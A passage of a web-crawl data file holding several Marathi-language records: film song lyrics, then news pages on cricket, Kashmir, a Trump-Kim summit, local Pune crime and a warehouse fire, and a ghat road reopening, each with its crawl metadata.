रे\nझोल झोल करून तरी ठण ठण गोपाला रे\nअरे यारी मै सॉरी आये तो गलत है\nपर अपने सॉरी कि तो बात अलग है\nये झोलर कमीना सोचता कभी ना\nयारी मै हि झोल छुपा है\nझोल मै हि यारी छुपी है\nमै जिंदगी का साथ निभाता चला गया\nहर फिक्र को धुए मै उडाता चला गया\nदिग्याबरोबर मी पहिली सिगरेट प्यायलो\nदिग्या आपला पहिला फ्रेंड\nआणि त्याच बरोबर मला कळलेलं दिग्याच पाहिलं प्रेम\nच्यायला लफडी करताना पुढचा मागचा विचार न करणारा हा माणूस\nप्रेमाच्या लफड्यात मात्र… हा हा हा हा\nहो जेव्हा पाहिलं हिला ये दिल हिल्ला हिल्ला\nसारा जिल्हा हिल्ला हुआ रे जलजला\nघराच्या सामोरी नजरेची शाळा हि रोज रोज भरवायची हाय\nलैला नी मजनूची सॅड वाली लव स्टोरी आपल्याला बदलायची हाय\nहि सुरेखा…. आपल्याला पटलेली हाय\nअरे खिडकी मधून कशी लाजून हसलेली हाय\nअरे हसली हसली दिग्या फुल टू फसलेली हाय\nहसलेली हाय हा फसलेली हाय फसलेली हा दिग्याला पटलेली हाय\nकधी ह्याचं होऊन गेल हो कळलच नाही\nएक वेगळीच दुनिया एक वेगळीच दुनियादारी\nमै जिंदगी का साथ निभाता चला गया\nहर फिक्र को धुए मै उडाता चला गया\nजिंदगी … हा … जिंदगी\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00175.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/videsh/much-awaited-summit-between-united-states-president-donald-trump-and-north-korean-leader-kim-jong-un-is-underway-at-changi-in-singapore-292398.html", "date_download": "2018-09-25T17:11:04Z", "digest": "sha1:THVXTACYMURLF7GZZ5XDLT5LSHPO62TE", "length": 2016, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - डोनाल्ड ट्रम्प आणि किम जोंग उन यांची ऐतिहासिक भेट–News18 Lokmat", "raw_content": "\nडोनाल्ड ट्रम्प आणि किम जोंग उन यांची ऐतिहासिक भेट\nअमेरिकेचे अध्यक्ष डोनाल्ड ट्रम्प आणि उत्तर कोरियाचा हुकूमशहा किम जोंग उन यांची बहुप्रतिक्षीत अशी भेट सध्या सुरू आहे.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00175.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A5%A7%E0%A5%A6/", "date_download": "2018-09-25T16:49:18Z", "digest": "sha1:TIGAX4KI745WGB3AXNGX6EDMPT6BN3AY", "length": 11596, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "१०- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\nन्यूज१८ लोकमतचा स्पेशल रिपोर्ट\nहिमाचलमध्ये पावसाचा हाहाकार, 35 IIT विद्यार्थ्यांसह 45 लोक बेपत्ता\nया १० गोष्टी तुमच्या अंगी नसतील तर तुम्ही कधीच बारीक होणार नाही\nBig Boss 12 : जसलीनसोबतच्या नात्याबद्दल जलोटांच्या पहिल्या पत्नीनं व्यक्त केलं मत\nVIDEO : डीजे-डॉल्बीवरील बंदीमुळे ढोल-ताशा पथकांना लागली लॉटरी\nचॉपिंग बोर्डच्या या १० गोष्टी तुम्हाला हमखास माहित नसतील\nट्रेलर : विराट कोहलीचा चित्रपट २८ तारखेला उलगडणार सिक्रेट\nकाश्मीरमध्ये अतिरेक्यांनी केली ३ पोलिसांची हत्या; आता पोलिसांमध्येच दहशत\nशाहबाजने मोडला वर्ल्ड रेकॉर्ड, फक्त १० रन देऊन घेतल्या 8 विकेट\nBigg Boss 12: अनुप- जसलीनचं नातं आम्हाला अमान्य, जसलीनच्या वडिलांचा खुलासा\nसांगली अवैध गर्भपात प्रकरणी डॉ. रुपाली चौगुलला अटक\nधक्कादायक खुलासा : सांगलीत वर्षभरापासून सुरू होता गर्भपाताचा गोरखधंदा\nतरुणाईसाठी भारत 'सुसाइड कॅपिटल' आत्महत्या करणारी जगातली ३ पैकी १ स्त्री भारतीय\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00175.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://mahasports.co.in/ms-dhoni-becomes-the-fourth-wicket-keeper-to-affect-400-dismissals-in-odis/", "date_download": "2018-09-25T17:05:39Z", "digest": "sha1:HGI4RYSHU5CFZTMOZM2VJ445AEIEB4RQ", "length": 7534, "nlines": 66, "source_domain": "mahasports.co.in", "title": "धोनीने धावा केल्या १०, परंतु यष्टिरक्षणात केला विश्वविक्रम -", "raw_content": "\nधोनीने धावा केल्या १०, परंतु यष्टिरक्षणात केला विश्वविक्रम\nधोनीने धावा केल्या १०, परंतु यष्टिरक्षणात केला विश्वविक्रम\nभारतीय संघाचा माजी कर्णधार आणि सध्याचा यष्टीरक्षक एमएस धोनीकडून आज एक खास विक्रम झाला. वनडेत यष्टींमागे ४०० विकेट्स घेणारा धोनी चौथा खेळाडू बनला आहे. धोनीने जेव्हा विजेच्या चपळाईने १७व्या षटकात दक्षिण आफ्रिकेच्या एडिन मार्करमला यष्टिचित केले तेव्हा तो धोनीचा वनडेतील ४००वी शिकार ठरला.\nधोनीने ३१५ सामन्यात आजपर्यंत ४०० खेळाडूंना यष्टींमागे बाद केले आहे. या यादीत अव्वल स्थानी कुमार संगकारा असून त्याने ४०४ सामन्यात ४८२ खेळाडूंना बाद केले आहे तर दुसऱ्या स्थानावरील ऍडम गिलख्रिस्टने २८७ सामन्यात ४७२ फलंदाजांना तर तिसऱ्या क्रमांकावरील मार्क बाऊचरने २९५ सामन्यात ४२४ फलंदाजांना बाद केले आहे.\nधोनीने ३९८ मधील २९४ झेल घेतले असून १०६ फलंदाजांना यष्टिचित केले आहे. यष्टिचित करण्यात धोनी अव्वल असून तो सोडून आजपर्यंत कोणत्याही खेळाडूला ९९ पेक्षा जास्त खेळाडूंना यष्टिचित करता आले नाही.\nभारतीय खेळाडूंमध्ये या यादीत दुसऱ्या क्रमांकावर नयन मोंगिया असून त्याने १४० सामन्यात यष्टींमागे १५४ विकेट्स घेतल्या आहेत.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00175.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://amp.esakal.com/desh/jammu-kashmir-indian-army-terrorism-100162", "date_download": "2018-09-25T17:30:44Z", "digest": "sha1:F7E3UDZMJ53QAXX6HOACY4LSEJWZHTV4", "length": 6399, "nlines": 47, "source_domain": "amp.esakal.com", "title": "jammu kashmir indian army terrorism दहशतवादी घुसखोरीच्या तयारीत : ले. जन. भट | eSakal", "raw_content": "\nदहशतवादी घुसखोरीच्या तयारीत : ले. जन. भट\nपीटीआय | मंगळवार, 27 फेब्रुवारी 2018\nसीमेपलीकडे अनेक दहशतवादी घुसखोरीच्या तयारीत आहेत. बर्फ वितळत असल्याने घुसखोरी लवकरच सुरू होण्याचा अंदाज आहे. मात्र, आम्ही तयारीत आहोत. पाकिस्तानकडूनही गोळीबाराचे प्रकार वाढत आहेत. पाकिस्तानकडून शस्त्रसंधी भंग म्हणजे दहशतवाद्यांना घुसविण्याचा प्रयत्न असल्याचे अनेक वेळा सिद्ध झाले आहे\nश्रीनगर - काश्‍मीरमध्ये घुसण्यासाठी नियंत्रण रेषेपलीकडे पाकिस्तानात मोठ्या संख्येने दहशतवादी तयारीत असल्याचा दावा श्रीनगरमधील चिनार तुकडीचे प्रमुख अधिकारी लेफ्टनंट जनरल ए. के. भट यांनी आज केला. पाकिस्तानकडून वारंवार होत असलेले शस्त्रसंधी भंगाच्या घटना म्हणजे दहशतवाद्यांना भारतात घुसविण्याचेच प्रयत्न आहेत, असेही त्यांनी सांगितले.\n\"सीमेपलीकडे अनेक दहशतवादी घुसखोरीच्या तयारीत आहेत. बर्फ वितळत असल्याने घुसखोरी लवकरच सुरू होण्याचा अंदाज आहे. मात्र, आम्ही तयारीत आहोत. पाकिस्तानकडूनही गोळीबाराचे प्रकार वाढत आहेत. पाकिस्तानकडून शस्त्रसंधी भंग म्हणजे दहशतवाद्यांना घुसविण्याचा प्रयत्न असल्याचे अनेक वेळा सिद्ध झाले आहे,'' असे भट म्हणाले. तीस ते चाळीस दहशतवाद्यांचे अनेक गट नियंत्रणरेषेवर ठिकठिकाणी दबा धरून बसले असल्याची माहिती मिळाल्याचे त्यांनी सांगितले.\nमालदीवमधील सत्तापालट भारताला अनुकूल\nमालदीवमध्ये काल मतपेटीद्वारे झालेला सत्तापालट भारतासाठी अनुकूल ठरणार असल्याच्या बातम्या सर्वत्र छापून येत आहेत. निवडून आलेले मालदीव डेमॉक्रॅटिक...\nसर्जिकल स्ट्राईकच्या कारवाईतील 'वीरजवान' हुतात्मा\nश्रीनगर : भारतीय लष्कराने पाकव्याप्त काश्मीरात घुसून सर्जिकल स्ट्राईकची कारवाई केली होती. ही कारवाई दोन वर्षांपूर्वी करण्यात आली. या कारवाईतील...\nनागपुरातील देहव्यापार 100 कोटींवर\nनागपूर : रशिया, इटली, इंग्लंड, पाकिस्तान, उज्बेकिस्तान, बांगलादेश, आणि श्रीलंका या देशातील ललनांना \"सेक्‍स रॅकेट' अंतर्गत मुंबई-दिल्लीत आणल्या...\nआणखी एका सर्जिकल स्ट्राईकची गरज : लष्करप्रमुख रावत\nनवी दिल्ली : काश्मीरमधील सध्याची परिस्थिती पाहता दहशतवाद्यांविरोधात आणखी एका सर्जिकल स्ट्राईकची गरज असल्याचे मत लष्करप्रमुख बिपीन रावत यांनी म्हटले...\nइम्रान यांची मुजोरी (अग्रलेख)\nपाकिस्तानच्या दुटप्पी भूमिकेमुळे चर्चेला नकार देण्याखेरीज भारतासमोर दुसरा पर्याय नव्हता. उभय देशांदरम्यान संवादाची प्रक्रिया पुन्हा सुरू व्हावयाची...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00176.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/entertainment/entertainment-news/entertainment-gossips/people-are-selfish-they-dont-have-a-broader-perspective-anushka-sharma/articleshow/65811814.cms", "date_download": "2018-09-25T18:07:45Z", "digest": "sha1:FHQGU6QHRU4ALWHWTY22DA7ITZVHGQTQ", "length": 12049, "nlines": 141, "source_domain": "maharashtratimes.indiatimes.com", "title": "स्वच्छ भारत अभियान: people are selfish they dont have a broader perspective anushka sharma - पर्यावरणाबाबतीत लोक स्वार्थी: अनुष्का | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nपर्यावरणाबाबतीत लोक स्वार्थी: अनुष्का\nपर्यावरणाबाबतीत लोक स्वार्थी: अनुष्का\nपंतप्रधान नरेंद्र मोदी यांनी सुरू केलेल्या 'स्वच्छता ही सेवा आंदोलना'त अभिनेत्री अनुष्का शर्मा सामिल झाली आहे. 'स्वच्छतेबद्दल लोकांची विचारसरणी वेगवेगळी आहे. काही लोक स्वतःबद्दल विचार करून स्वतःचेच घर स्वच्छ करतात आणि घराबाहेरील घाणीचे त्यांना काहीही पडेलेले नसते. त्यांना काही फरक ही पडत नाही', असं अनुष्कानं म्हटलंय.\n'आता मी स्वच्छ भारत अभियानचा मोहीमेत अधिकृतरित्या सहभागी झाले आहे. ही एक वैयक्तिक निवड आहे. परंतु त्याचा परिणाम व्यापक प्रमाणावर होत आहे. पर्यावरण हे कोणत्याही विशिष्ट देशाचे नाही तर संपूर्ण विश्वाच आहे. पर्यावरण फक्त तुमचं किंवा माझं आहे, असं आपण म्हणू शकत नाही. पर्यावरण राखण्यात सगळ्यांनाच बरोबरीचा अधिकार आहे', असं अनुष्का म्हणाली.\nलोकं घराबाहेरील साफसफाईवर लक्ष देत नाहीत\n'कधीकधी मला वाटतं की लोकं फक्त स्वतःबद्दलच विचार करतात. सगळ्यांनी एकत्र काम करून पुढे गेलं पाहिजे अशी भावना लोकांमध्ये नाही. ही छोटी गोष्ट आहे. मला लोकांच्या या भावनेमुळे फार दुःख होतंय. लोकं घराबाहेरच्या स्वच्छतेकडे लक्ष देत नाहीत. पण घराबाहेर पडल्यावर त्याच कचऱ्याला सर्वांना तोंड द्यावं लागतं. घाणीमुळे रोगराई वाढते, नंतर रुग्णालयात जाऊन स्वत:ला ठिक करण्यासाठी स्वत:चेच पैसे खर्च करावे लागतात, असंही तिने निदर्शनास आणून दिलं.\n'ही एक छोटीशी गोष्ट आहे. परंतु, लोक त्या गोष्टीला समजू शकत नाहीत. कदाचित तुम्ही इतर गोष्टींमध्ये खूप जास्त व्यस्त आहात. आता, स्वच्छतेच्या फायद्यासाठी कोणीही पुन्हा-पुन्हा काही बोलू शकत नाही. म्हणून मी त्याला वैयक्तिक पसंती म्हणते. मी लोकांना खाजगी स्तरावर स्वच्छतेबद्दल जागरुक करणार आणि करत राहणार' असं पर्यावरण प्रेमी अनुष्का म्हणाली.\nमिळवा सिनेन्यूज बातम्या(entertainment news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nentertainment news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nचाहत्यांनी गर्लफ्रेंडला घेरल्याने सलमान गोंधळला\nश्रीदेवींच्या पुतळ्याचं जान्हवीच्या हस्ते अनावरण\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1पर्यावरणाबाबतीत लोक स्वार्थी: अनुष्का...\n2श्रीदेवींच्या पुतळ्याचं जान्हवीच्या हस्ते अनावरण\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00176.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%96%E0%A5%82%E0%A4%A8/", "date_download": "2018-09-25T17:59:11Z", "digest": "sha1:5KVCEJKVGQGHGDX6QTMJMVGJCXSW25VQ", "length": 6946, "nlines": 78, "source_domain": "pclive7.com", "title": "खून | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nनिगडीत गळा चिरून विद्यार्थ्यांचा खून\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरातील निगडी पोलिस ठाण्याच्या हद्दीत पूर्णानगर येथे धारधार हत्याराने गळा चिरून विद्यार्थ्याचा खून करण्यात आला. हा प्रकार मगंळवारी पहाटे दीडच्या सुमारास...\tRead more\nवर्चस्वाच्या वादातून थेरगावात तरूणाचा खून\nपिंपरी (Pclive7.com):- ग्रुपच्या वर्चस्वातून आणि मित्रांमध्ये ऐकमेकांची निंदा केल्याच्या कारणावावरून एका तरूणाचा कोयता व चॉपरने वार करून खून करण्यात आला. ही घटना गुरूवारी (ता.८) रात्री थेरगा...\tRead more\nचिखलीत तरूणाचा खून; दोघांना अटक\nपिंपरी (Pclive7.com):- किरकोळ कारणावरून झालेल्या भांडणात चाकूने भोसकून तरूणांचा खून करण्यात आला ही घटना मोरे वस्ती चिखली येथे शुक्रवारी रात्री घडली. दिनेश निवृत्ती पाटील (वय २५) असे खून झाले...\tRead more\nदिघीत रिअल इस्टेट एजंटचा खून\nपिंपरी (Pclive7.com):- एका रिअल इस्टेट एजंटचा धारदार शस्त्राने वार करुन खून केल्याची घटना दिघी येथे घडली. ही घटना शनिवारी (दि.९) मध्यरात्री सव्वाएकच्या सुमारास दिघी येथील दत्तमंदीरा जवळ घडली...\tRead more\nरावण सेना टोळी प्रमुख अनिकेत जाधव याचा आकुर्डीत दगडाने ठेचून खून\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरातील रावेत, आकुर्डी परिसरात नव्याने उदयास आलेल्या रावण सेना टोळीचा प्रमुख अनिकेत जाधव याचा डोक्यात दगड घालून निर्घृणपणे खून करण्यात आला आहे. हा खून टो...\tRead more\nचिंचवड येथे दगडाने ठेचून तरूणाचा खून\nपिंपरी (प्रतिनिधी):- चिंचवड येथे एका तरुणाला दगडाने जबर मारहाण करण्यात आली. ही घटना मंगळवारी (दि. २४) रोजी रात्री घडली. बुधवारी (दि. २५) रोजी दुपारी २ वाजण्याच्या सुमारास या तरुणाचा उपचारा द...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.maharashtracitynews.com/amp/a-furious-fire-in-goddard-godown-in-pune-at-pune/", "date_download": "2018-09-25T17:26:26Z", "digest": "sha1:VQANR5WCQDMSQKULKNPMNZWLSIZ7J5AT", "length": 4389, "nlines": 52, "source_domain": "www.maharashtracitynews.com", "title": "पुण्यात देवाची उरळी येथे प्लॅस्टिक गोडाऊनला भीषण आग. | Top Latest Marathi News Online", "raw_content": "\nपुण्यात देवाची उरळी येथे प्लॅस्टिक गोडाऊनला भीषण आग.\nपुण्यातील उरुळी देवाची येथील प्लास्टिक भंगाराच्या गोदामाला बुधवारी पहाटेच्या सुमारास भीषण आग लागल्याची घटना घडली. अग्निशामक विभागाच्या आधिकायांनी दिलेल्या माहितीनुसार,उरुळी देवाची येथे लकी एन्टरप्राईजेस हे प्लास्टिकचे गोदाम आहे. आज पहाटे दोन वाजण्याच्या सुमारास येथे आग लागली. आगीची वर्दी मिळताच अग्निशामन दल याठिकाणी तातडीने दाखल झाले. मात्र, अजूनपर्यंतही ही आग पूर्णपणे विझलेली नाही. आतापर्यंत हाती आलेल्या माहितीनुसार, या दुर्घटनेत दोन दुचाकी आणि एक ट्रक आगीच्या भक्ष्यस्थानी पडला. तसेच या आगीत जवळपास २० लाख रुपयांचे नुकसान झाले आहे. ही आग नेमकी कशामुळे लागली, याचे कारण अद्याप समजू शकलेले नाही.\nमुंबई-पुणे एक्स्प्रेस वेवर टोलनाक्याजवळ कार टेम्पोचा भीषण अपघात 3 ठार\nपुण्यात कबीर कला मंचाच्या कार्यकर्त्यांवर गुन्हा दाखल\nजिग्नेश मेवाणी-उमर खालिदवर पुण्यात गुन्हा दाखल .\nमिठाईच्या दुकानात घुसला टॅंकर तरुणीचा मृत्यू\nपुणे : सावत्र बापाकडून अल्पवयीन मुलीवर अत्याचार .\nशनिवारवाड्यावर ब्राह्मण संघटनांचा विरोध आयोजित कार्यक्रमावरून वादाला तोंड .\nभीषण अपघात मुंबई पुणे एक्स्प्रेस वे वर,तीन ठार, तीन गंभीर जखमी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Tilari-Ghat-Marg-start-now/", "date_download": "2018-09-25T16:54:33Z", "digest": "sha1:OM6JJNA2B4BZW3BP5CNTKDYT6Z6SAT5L", "length": 9459, "nlines": 37, "source_domain": "www.pudhari.news", "title": " तिलारी घाटमार्ग उद्यापासून सुरू होणार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › तिलारी घाटमार्ग उद्यापासून सुरू होणार\nतिलारी घाटमार्ग उद्यापासून सुरू होणार\nतिलारी घाटाचे डांबरीकरणाचे काम पूर्ण झाले आहे. सोमवार 5 फेबु्रवारी पासून हा घाट वाहतुकीस खुला केला जाणार असून वाहनांची वर्दळ देखील घाट रस्ता सुुस्थितीत झाल्याने वाढलेली दिसणार आहे.\nघाटाच्या पायथ्याशी 1 बाय 66 मेगावॅट जलविद्युत केंद्राकडे यंत्र सामुग्री नेण्यासाठी तिलारी घाट बनविण्यात आला होता. महाराष्ट्र शासनाच्या जलसंपदा विभागाच्या ताब्यात असलेल्या खाजगी घाटातून सर्व वाहनांना प्रवेश बंद होता.\nतरीपण बेळगाव, कोल्हापूर, गोवा येथे जाणारे वाहनचालक या घाट मार्गाचा वापर करू लागले. त्यातच घाटातून गेल्या काही वर्षापासून अवजड वाहनांची प्रचंड वर्दळ वाढल्याने रस्ता वाहतुकीस अत्यंत धोकादायक बनला. ठिकठिकाणी खड्डयाचे मोठे साम्राज्य पसरल्याने वाहने सोडाच 